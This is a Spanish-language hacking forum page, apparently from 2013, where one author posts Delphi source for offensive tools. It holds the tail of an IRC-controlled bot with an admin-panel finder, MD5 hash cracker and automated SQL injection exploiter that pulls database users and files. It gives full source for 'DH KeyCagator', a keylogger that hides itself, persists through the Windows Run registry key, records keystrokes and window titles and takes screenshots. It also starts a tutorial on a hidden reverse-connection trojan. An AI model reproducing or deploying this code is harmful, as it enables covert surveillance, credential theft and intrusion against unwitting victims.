          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

          sMemo1.Lines.Add('[+] PanelFinder : Working');

          try

            IdHTTP := TIdHTTP.Create(nil);

            for i := Low(paginas) to High(paginas) do
              try

                sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
                Form2.sStatusBar1.Update;

                IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
                if IdHTTP.ResponseCode = 200 then
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                      + '/' + paginas[i]);
              except
                on E: EIdHttpProtocolException do
                  ;
                on E: Exception do
                  ;
              end;
          finally
            IdHTTP.Free;
          end;

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

          sMemo1.Lines.Add('[+] PanelFinder : Finished');

          //
        end;

        //

        // Crack MD5

        PerlRegEx1.Regex := '!crackmd5 (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Working');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

          sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
          Form2.sStatusBar1.Update;

          rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
              PerlRegEx1.SubExpressions[1]);

          PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
          PerlRegEx2.Subject := rta;
          if PerlRegEx2.Match then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[2]);
          end
          else
          begin

            rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then

            begin

              if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
              begin
                IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                    + ':' + PerlRegEx2.SubExpressions[1]);
              end
              else

              begin

                sStatusBar1.Panels[0].Text :=
                  '[+] Searching in md52.altervista.org ...';
                Form2.sStatusBar1.Update;

                rta := IdHTTP1.Get
                  ('http://md52.altervista.org/index.php?md5=' +
                    PerlRegEx1.SubExpressions[1]);

                PerlRegEx2.Regex :=
                  '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
                PerlRegEx2.Subject := rta;

                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                      + ':' + PerlRegEx2.SubExpressions[1]);
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
                end;
              end;

            end;
          end;

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

        end;

        //

        // SQLI Scanner

        PerlRegEx1.Regex := '!sqli (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then

        begin

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] SQLI Scanner : Working');

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

          pass1 := '+';
          pass2 := '--';

          urltest := 'concat(0x4b30425241,1,0x4b30425241)';

          sStatusBar1.Panels[0].Text := '[+] Checking ...';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

          code := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
              pass2);

          codedos := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
              pass2);

          if not(code = codedos) then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

            sStatusBar1.Panels[0].Text := '[+] Finding columns number';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

            urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
              pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
            urlgen := '1';
            for i := 2 to 36 do
            begin
              sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
              Form2.sStatusBar1.Update;
              urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
                + ',0x4b30425241)';
              urlgen := urlgen + ',' + IntToStr(i);
              code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
              PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
              PerlRegEx2.Subject := code;

              if PerlRegEx2.Match then
              begin

                IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
                IdIRC1.Say(ANicknameFrom,
                  '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

                urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
                  'hackman', []);
                full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
                  pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
                  urlgen;

                IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

                //

                pass1 := '+';
                pass2 := '--';

                hextest := '0x2f6574632f706173737764'; // /etc/passwd
                hextest := '0x633A2F78616D70702F726561642E747874';
                // #c:/xampp/read.txt

                web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
                web2 := StringReplace(full, 'hackman',
                  'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
                web3 := StringReplace(full, 'hackman',
                  'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                    hextest + '))))', []);

                sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get
                  (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
                end;

                code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                    'information_schema.tables' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
                end;

                code := IdHTTP1.Get(web3);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
                end;

                sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get(web2);

                PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom,
                    '[+] User : ' + PerlRegEx2.SubExpressions[1]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

                  sStatusBar1.Panels[0].Text := '[+] Done';
                  Form2.sStatusBar1.Update;
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
                  sStatusBar1.Panels[0].Text := '[-] DB details not found';
                  Form2.sStatusBar1.Update;
                end;


                //

                sStatusBar1.Panels[0].Text := '[+] Done';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] Done');

                sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

                sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

                abort;
              end
            end;
            sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
          end
          else
          begin
            sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
          end;

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

          sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

        end;

      end;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);
    var
      nick: string;
    begin

      nick := 'ClapTrap';

      IdIRC1.Host := sEdit1.Text;
      IdIRC1.Port := StrToInt(sEdit2.Text);
      IdIRC1.Nickname := nick;
      IdIRC1.Username := nick + ' 1 1 1 1';
      IdIRC1.AltNickname := nick + '-l33t';

      try

        IdIRC1.Connect;
        IdIRC1.Join(sEdit3.Text);

        sStatusBar1.Panels[0].Text := '[+] Connected';
        Form2.sStatusBar1.Update;

      except
        sStatusBar1.Panels[0].Text := '[-] Error';
        Form2.sStatusBar1.Update;
      end;

    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    begin

      IdIRC1.Part(sEdit3.Text);
      IdIRC1.Disconnect();

      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form2.sStatusBar1.Update;

    end;

    end.

    // The End ?


    En honor a ClapTrap el robot gracioso de BorderLands xDD.

    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#248
Delphi / [Delphi] DH KeyCagator 0.2
Noviembre 08, 2013, 12:42:29 PM
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

    * Usen shift+F9 para abrir el panel de control.

    Unas imagenes :





    El codigo :

    Código: delphi

    // DH Keycagator 0.2
    // (C) Doddy Hackman 2013

    unit dhkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        Edit1: TEdit;
        Button1: TButton;
        Timer1: TTimer;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses dhmain;
    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      password: string;
    begin

      password := '123'; // Edit the password

      if (Edit1.Text = password) then
      begin
        Form1.Hide;
        Form2.Show;
      end
      else
      begin
        ShowMessage('Fuck You');
      end;

    end;

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Form1.Hide;
      Abort;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir: string;
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      her: TRegistry;
    begin

      Application.ShowMainForm := False;

      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

      MoveFile(Pchar(rutareal), Pchar(yalisto));

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
      her.WriteString('System', yalisto);
      her.Free;

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html',
        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      re: Longint;
    begin

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        re := GetAsyncKeyState(120);
        If re = -32767 then
        Begin
          Form1.Show;
        End;
      end;

    end;

    end.

    // The End ?


    Código: delphi

    // DH KeyCagator 0.2
    // (C) Doddy Hackman 2013

    unit dhmain;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

    type
      TForm2 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        GroupBox3: TGroupBox;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        Button4: TButton;
        Label1: TLabel;
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        Image2: TImage;
        Label2: TLabel;
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure Button4Click(Sender: TObject);
      private

      private
        Nombre2: string;

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm2.Button1Click(Sender: TObject);
    begin
      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Button2Click(Sender: TObject);
    begin
      Label1.font.color := clRed;
      Label1.Caption := 'Offline';
      Timer1.Enabled := False;
      Timer2.Enabled := False;
      Timer3.Enabled := False;
    end;

    procedure TForm2.Button3Click(Sender: TObject);
    begin
      ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
    end;

    procedure TForm2.Button4Click(Sender: TObject);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    var
      dir: string;
    begin

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm2.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    procedure TForm2.Timer3Timer(Sender: TObject);
    var
      foto1: TBitmap;
      foto2: TJpegImage;
      ventana: HDC;
      generado: string;

    begin

      ventana := GetWindowDC(GetDesktopWindow);

      foto1 := TBitmap.Create;
      foto1.PixelFormat := pf24bit;
      foto1.Height := Screen.Height;
      foto1.Width := Screen.Width;

      BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
        SRCCOPY);

      foto2 := TJpegImage.Create;
      foto2.Assign(foto1);
      foto2.CompressionQuality := 60;

      generado := IntToStr(Random(100)) + '.jpg';

      foto2.SaveToFile(generado);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

    end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#249
Off Topic / Re:Trolleando a la gente de cph con mi bot :P
Noviembre 07, 2013, 10:59:33 AM
¿ en que lenguaje lo hiciste ?
#250
Delphi / [Delphi] VirusTotal Scanner 0.1
Noviembre 01, 2013, 01:26:49 PM
Un simple programa en Delphi para usar el API de VirusTotal.

Una imagen :



El codigo :

Código: delphi

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2013

unit virus;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON,
  PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView,
  sStatusBar, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    OpenDialog1: TOpenDialog;
    sGroupBox2: TsGroupBox;
    sListView1: TsListView;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);

  private

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function convertirmd5(const archivo: string): string;
var
  valormd5: TIdHashMessageDigest5;
  archivox: TFileStream;
begin

  valormd5 := TIdHashMessageDigest5.Create;
  archivox := TFileStream.Create(archivo, fmOpenRead);
  Result := valormd5.HashStreamAsHex(archivox)

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.filename;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);

var
  datos: TIdMultiPartFormDataStream;
  code: string;
  antivirus: string;
  resultado: string;

  html: string;

begin

  if FileExists(sEdit1.Text) then
  begin

    sMemo1.Clear;
    sListView1.Clear;

    sStatusBar1.Panels[0].Text := '[+] Scanning ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('resource', convertirmd5(sEdit1.Text));
    datos.AddFormField('apikey',
      'fuck you');

    code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report',
      datos);

    code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]);

    PerlRegEx1.Regex :=
      '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin

      antivirus := PerlRegEx1.SubExpressions[1];
      resultado := PerlRegEx1.SubExpressions[4];
      resultado := StringReplace
        (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]);

      with sListView1.Items.Add do
      begin
        Caption := antivirus;
        if (resultado = 'null') then
        begin
          SubItems.Add('Clean');
        end
        else
        begin
          SubItems.Add(resultado);
        end;
      end;

    end;

    PerlRegEx1.Regex := '"scan_id": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"scan_date": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"permalink": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex :=
      '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3]
          + '/' + PerlRegEx1.SubExpressions[2]);
    end;
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form1.sStatusBar1.Update;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] File Not Found';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#251
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.

Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

    Tiene que quedar como esta imagen.



    Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

    Código: delphi

    procedure TForm1.Button1Click(Sender: TObject);
    var
      lugar: integer; // Declaramos la variable lugar como entero
    begin

      ListBox1.Clear; // Limpiamos el contenido de ListBox

      for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
      // Listamos las conexiones que
      // hay en el server
      begin
        ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
        // Agregamos al ListBox
        // el host del infectado
        // conectado
      end;

    end;


    Tiene que quedar como en la siguiente imagen.



    Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

    Código: delphi

    procedure TForm1.Button2Click(Sender: TObject);

    begin

      ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
      // Mandamos el comando
      // al pc infectado que
      // seleccionamos en el
      // ListBox

    end;


    Una imagen de como deberia quedar el codigo.




    0x03 : Creacion del cliente

    Ahora pasamos al cliente.

    Lo unico que debemos agregar es el componente ClientSocket al formulario.

    Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

    Código: delphi

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
      ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
      ClientSocket1.Open; // Iniciamos la conexion con el servidor

      Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana

    end;


    Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

    Código: delphi

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
    begin

      // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora

      code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code

      if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, handle);
        // Usamos mciSendString para abrir
        // la lectora
      end;

